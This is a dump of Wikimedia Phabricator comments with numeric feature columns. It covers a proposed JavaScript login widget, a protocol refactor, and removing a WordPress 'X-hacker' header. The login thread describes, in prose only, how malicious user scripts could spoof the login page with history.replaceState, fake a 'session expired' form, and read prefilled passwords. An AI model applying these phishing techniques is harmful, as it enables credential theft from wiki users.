With the additional service that without having to leave the page, you can check if you're still logged in and if not, log in again. I'm not sure if this would also put an end to the problem of expired session data, but it's a step in the right direction. 

Evidently this would need to be an option available to site owners, to be enabled in Localsettings.php (for all editors) and perhaps Special:Preferences. If you don't trust this feature to be available on your site, then don't opt in for it."
314070,Provide JavaScript login widget,"(In reply to Michael M. from comment #1)
> A login widget could be easily spoofed by a malicious user script (while
> Special:Login is difficult to spoof).

There's actually nothing that makes Special:UserLogin particularly difficult to spoof.  Using malicious JavaScript, you can even spoof the actual URL using history.replaceState (https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history), so that when someone clicks a pre-determined link (or visits a particular wiki page), their browser URL bar will show the exact URL of the normal login page, and the web page can look like the login page.

The solution is to keep a careful eye on all scripts in the MediaWiki namespace, and be cautious when installing user scripts.

If we do add such a ""login and stay on the page"" feature (which is under discussion, e.g. as part of a potential ""login and save your edit"" combination workflow), we will also have to communicate it to avoid confusion.

However, security concerns should not simply block all discussion and development of features in this area.",,,1408830129,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,True,,,-45,True,1.0,0.5,0.0,0.0,0.5,6.5,1.5,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.5,1.0,0.5,5.5,10.5,1.0,1.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.5,3.5,1.0,0.5,1.5,1.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.5,0.0,0.5,0.0,0.0,0.0,17.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.5,1.5,9.0,2.5,3.0,9.5,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,3.0,10.5,3.5,0.0,2.0,0.0,3.0,0.0,2.0,2.5,0.0,1.5,0.0,0.0,0.0,4.08117110799439,0.7242870500233753,"(In reply to Michael M. from comment #1)
QUOTE
QUOTE

There's actually nothing that makes Special:UserLogin particularly difficult to spoof.  Using malicious JavaScript, you can even spoof the actual URL using history.replaceState (URL so that when someone clicks a pre-determined link (or visits a particular wiki page), their browser URL bar will show the exact URL of the normal login page, and the web page can look like the login page.

The solution is to keep a careful eye on all scripts in the MediaWiki namespace, and be cautious when installing user scripts.

If we do add such a ""login and stay on the page"" feature (which is under discussion, e.g. as part of a potential ""login and save your edit"" combination workflow), we will also have to communicate it to avoid confusion.

However, security concerns should not simply block all discussion and development of features in this area."
314066,Provide JavaScript login widget,"(In reply to Rainer Rillke @commons.wikimedia from comment #2)
> (In reply to Michael M. from comment #1)
> 1) Do you store passwords in your browser for Commons? Firefox? Please log
> out and go to
> https://commons.wikimedia.org/w/index.php?title=Help:Gadget-Cat-a-
> lot&withJS=MediaWiki:ActivateGadget.js&gadgetname=Cat-a-lot -- see your
> password will be pre-filled and my evil script could read it. Scary, isn't
> it :~)

Even if I allow Firefox to store my password for Commons (which normally I don't do) only my user name is prefilled, not the password.",,,1408608950,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,7.0,0.0,9.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,27.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,7.0,11.0,14.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.767857142857143,0.6607142857142857,"(In reply to Rainer RillkeSCREEN_NAME.wikimedia from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Even if I allow Firefox to store my password for Commons (which normally I don't do) only my user name is prefilled, not the password."
314061,Provide JavaScript login widget,"(In reply to Michael M. from comment #1)
naak naak naak, again such a security nonsense; the same as in Bug 48931 -- either we trust user scripts and this is what we currently do (see below) or we don't and they must be completely removed.

1) Do you store passwords in your browser for Commons? Firefox? Please log out and go to https://commons.wikimedia.org/w/index.php?title=Help:Gadget-Cat-a-lot&withJS=MediaWiki:ActivateGadget.js&gadgetname=Cat-a-lot -- see your password will be pre-filled and my evil script could read it. Scary, isn't it :~)

2) Malicious scripts could, at any time create a fake login form like ""We are sorry, but your session expired. Please log in again ... blah blah Password: [_______]"". We are not actively telling users that they should only use [[Special:UserLogin]] for security reasons and never enter their password on a different page.

3) There is an API module for login and it's not only useful to bots. The security claims are void, let's move forward.",,,1408287904,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-46,True,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,4.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,1.0,0.3333333333333333,2.0,0.0,5.666666666666667,6.333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,4.333333333333333,1.0,1.0,1.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,2.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,10.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,3.0,7.666666666666667,0.3333333333333333,3.3333333333333335,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,5.333333333333333,1.3333333333333333,0.6666666666666666,0.0,6.333333333333333,6.333333333333333,2.6666666666666665,0.6666666666666666,0.6666666666666666,0.0,6.333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,3.419047619047619,0.8047619047619049,"(In reply to Michael M. from comment #1)
naak naak naak, again such a security nonsense; the same as in Bug 48931 -- either we trust user scripts and this is what we currently do (see below) or we don't and they must be completely removed.

1) Do you store passwords in your browser for Commons? Firefox? Please log out and go to URL -- see your password will be pre-filled and my evil script could read it. Scary, isn't it :~)

2) Malicious scripts could, at any time create a fake login form like ""We are sorry, but your session expired. Please log in again ... blah blah Password: [_______]"". We are not actively telling users that they should only use [[Special:UserLogin]] for security reasons and never enter their password on a different page.

3) There is an API module for login and it's not only useful to bots. The security claims are void, let's move forward."
314058,Provide JavaScript login widget,"A login widget could be easily spoofed by a malicious user script (while Special:Login is difficult to spoof). Bug 48931 was closed as WONTFIX for the possibility that an evil script could replace the links in Special:Preferences to change the password, which seems a more difficult attack to me than simulating a login widget and sending the entered password to a server under the attacker's control.",,,1408179236,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-xzuqhowh3m2zl6cejurq,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,16.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,25.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,9.0,3.0,1.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,16.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,1.0,3.0,1.0,0.0,0.0,4.421052631578948,0.75,"A login widget could be easily spoofed by a malicious user script (while Special:Login is difficult to spoof). Bug 48931 was closed as WONTFIX for the possibility that an evil script could replace the links in Special:Preferences to change the password, which seems a more difficult attack to me than simulating a login widget and sending the entered password to a server under the attacker's control."
71369,use Site.protocol() instead of hard-coded https?,"See https://gerrit.wikimedia.org/r/#/c/148333/ for a sample. I guess there are some more.

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Medium,50.0,1407691380,1435071550.0,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-blaa7nhd2bik2gcyytx4,task_description,resolved,True,c3,1,True,True,True,-47,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.46875,0.6875,"See URL for a sample. I guess there are some more.

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
479971,use Site.protocol() instead of hard-coded https?,https://gerrit.wikimedia.org/r/#/c/184334/,,,1435071550,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-blaa7nhd2bik2gcyytx4,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
479970,use Site.protocol() instead of hard-coded https?,done in Ic4f340b42981121216af3ab1f6cee00289fb6b47,,,1435071523,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-blaa7nhd2bik2gcyytx4,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.666666666666666,1.0,done in Ic4f340b42981121216af3ab1f6cee00289fb6b47
70982,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"`curl -vs blog.wikimedia.org 2>&1 >/dev/null | fgrep X-hacker`

> X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.

We should recruit for WMF instead of automattic. :-D

This currently is served on:
- [x] ~~blog.wikimedia.org~~ diff.wikimedia.org
- [x] soundlogo.wikimedia.org
- [x] wikimediafoundation.org
- [x] wikimediaendowment.org
- [x] techblog.wikimedia.org


See also <https://wpvip.com/documentation/x-hacker-and-x-powered-by-http-headers/>

Add this to the them functions.php to remove:


```
/**
 * Filter X-hacker output.
 */
add_filter( 'wp_headers', function( $headers ) {
    if ( isset( $headers['X-hacker'] ) ) {
        unset( $headers['X-hacker'] );
    }
    return $headers;
}, 999 );
```",Medium,50.0,1406861760,1677786927.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-xmodofj3xfcdg43wyifb,False,PHID-TASK-cmi5u75baovicpb4veoy,task_description,resolved,True,c3,1,False,False,False,-48,True,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,12.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,26.0,4.1506849315068495,0.589041095890411,"CODE

QUOTE

We should recruit for WMF instead of automattic. :-D

This currently is served on:
- [x] ~~blog.wikimedia.org~~ diff.wikimedia.org
- [x] soundlogo.wikimedia.org
- [x] wikimediafoundation.org
- [x] wikimediaendowment.org
- [x] techblog.wikimedia.org


See also <URL

Add this to the them functions.php to remove:


``CODE``"
2079685,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Looks like policy.wikimedia.org now redirects to https://wikimediafoundation.org/advocacy/, of which the domain already excludes that header. The newer soundlogo.wikimedia.org site also lacks the header, so it looks like this can be closed.",,,1677786927,,PHID-USER-xmodofj3xfcdg43wyifb,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,400,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.029411764705882,0.8823529411764706,"Looks like policy.wikimedia.org now redirects to URL of which the domain already excludes that header. The newer soundlogo.wikimedia.org site also lacks the header, so it looks like this can be closed."
1724950,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Just noting the `x-hacker` header still exists for policy.wikimedia.org.,,,1621267867,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,306,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.8,1.0,Just noting the CODE header still exists for policy.wikimedia.org.
1557129,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#6170566, @CKoerner_WMF wrote:
> I updated the task with the current status of blogs hosted by VIP. I've submitted a pull request for the techblog. (https://github.com/wikimedia/wpvip-wikimedia-techblog/pull/2). 
> 
> Why the heck am I here? We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space) so I wanted to make sure I did this for our own development going forward. :)

This has been merged as https://github.com/wpcomvip/wikimedia-techblog/pull/13/commits/4bc2d8e2c7838c464d7acaf7ea996acdd70750ee and deployed to the live blog.",,,1596582177,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,265,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,29.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.7619047619047619,"QUOTE
QUOTE
QUOTE
QUOTE

This has been merged as URL and deployed to the live blog."
1552603,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Updating project tags to reflect current state. ,,,1595957374,,PHID-USER-iwx53fdq7w3yv4h7wffx,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,264,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.125,1.0,Updating project tags to reflect current state. 
1514153,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#6176378, @Aklapper wrote:
> @CKoerner_WMF: That raises some questions (e.g. what happens to its current content). Is there a related technical task about this which has more info?

I'm starting to document more. A few tasks in #wmf-communications and https://meta.wikimedia.org/wiki/Diff_(blog)

The old blog.wikimeida.org content will remain. ",,,1590766221,,PHID-USER-iwx53fdq7w3yv4h7wffx,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,256,True,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.103448275862069,0.896551724137931,"QUOTE
QUOTE

I'm starting to document more. A few tasks in #wmf-communications and URL

The old blog.wikimeida.org content will remain. "
1513898,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#6170566, @CKoerner_WMF wrote:
> We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space)

@CKoerner_WMF: That raises some questions (e.g. what happens to its current content). Is there a related technical task about this which has more info?",,,1590749299,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,256,True,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,4.181818181818182,0.9393939393939394,"QUOTE
QUOTE
SCREEN_NAME: That raises some questions (e.g. what happens to its current content). Is there a related technical task about this which has more info?"
1512458,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"I updated the task with the current status of blogs hosted by VIP. I've submitted a pull request for the techblog. (https://github.com/wikimedia/wpvip-wikimedia-techblog/pull/2). 

Why the heck am I here? We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space) so I wanted to make sure I did this for our own development going forward. :)",,,1590609521,,PHID-USER-iwx53fdq7w3yv4h7wffx,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,255,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,16.0,1.0,0.0,13.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,12.0,4.0,1.0,0.0,0.0,10.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.072463768115942,0.7681159420289855,"I updated the task with the current status of blogs hosted by VIP. I've submitted a pull request for the techblog. (URL 

Why the heck am I here? We're reusing the blog.wikimedia.org installation for the future of the community blog (previously Wikimedia Space) so I wanted to make sure I did this for our own development going forward. :)"
1508415,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Per the link that @Krinkle just added this seems super easy to remove.
Or to decide that we are not going to remove it?
Perhaps the team in control could make that decision and remove it or close this task? :)",,,1590015187,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,254,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,7.0,2.0,7.0,11.0,0.0,2.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,13.0,2.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8666666666666667,0.7777777777777778,"Per the link thatSCREEN_NAME just added this seems super easy to remove.
Or to decide that we are not going to remove it?
Perhaps the team in control could make that decision and remove it or close this task? :)"
1500275,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"[[https://techblog.wikimedia.org|TechBlog]] has slightly modified version of this.

```
x-hacker: If you're reading this, you should visit wpvip.com/careers and apply to join the fun, mention this header.
```",,,1589057394,,PHID-USER-mndznmqvm6ihjfmb6xap,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,253,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.75,"[[URL has slightly modified version of this.

``CODE``"
1359664,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#5522799, @sbassett wrote:
> Is there a technical contact on #wmf-legal for that site?  Otherwise, we probably want to be proactive here and create and deploy the patch for them.  Happy to help, though I obviously do not have access to the Automattic servers.

Best person to poke would probably be @Slaporte. He has a more involved role these days than when he was the ""tech guy"" for Legal :) so may be harder to reach him now.",,,1569435007,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,False,,,220,True,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,10.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,5.0,0.0,5.0,0.0,7.0,0.0,2.0,2.0,2.0,0.0,5.0,2.0,0.0,3.6341463414634148,0.9024390243902439,"QUOTE
QUOTE

Best person to poke would probably beSCREEN_NAME. He has a more involved role these days than when he was the ""tech guy"" for Legal :) so may be harder to reach him now."
1359661,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">> The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions.
> Ok. Is there an open task for it?

Yup! It's T193912.",,,1569434847,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.9,"QUOTE
QUOTE

Yup! It's T193912."
1359660,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"> Ok. Is there an open task for it?

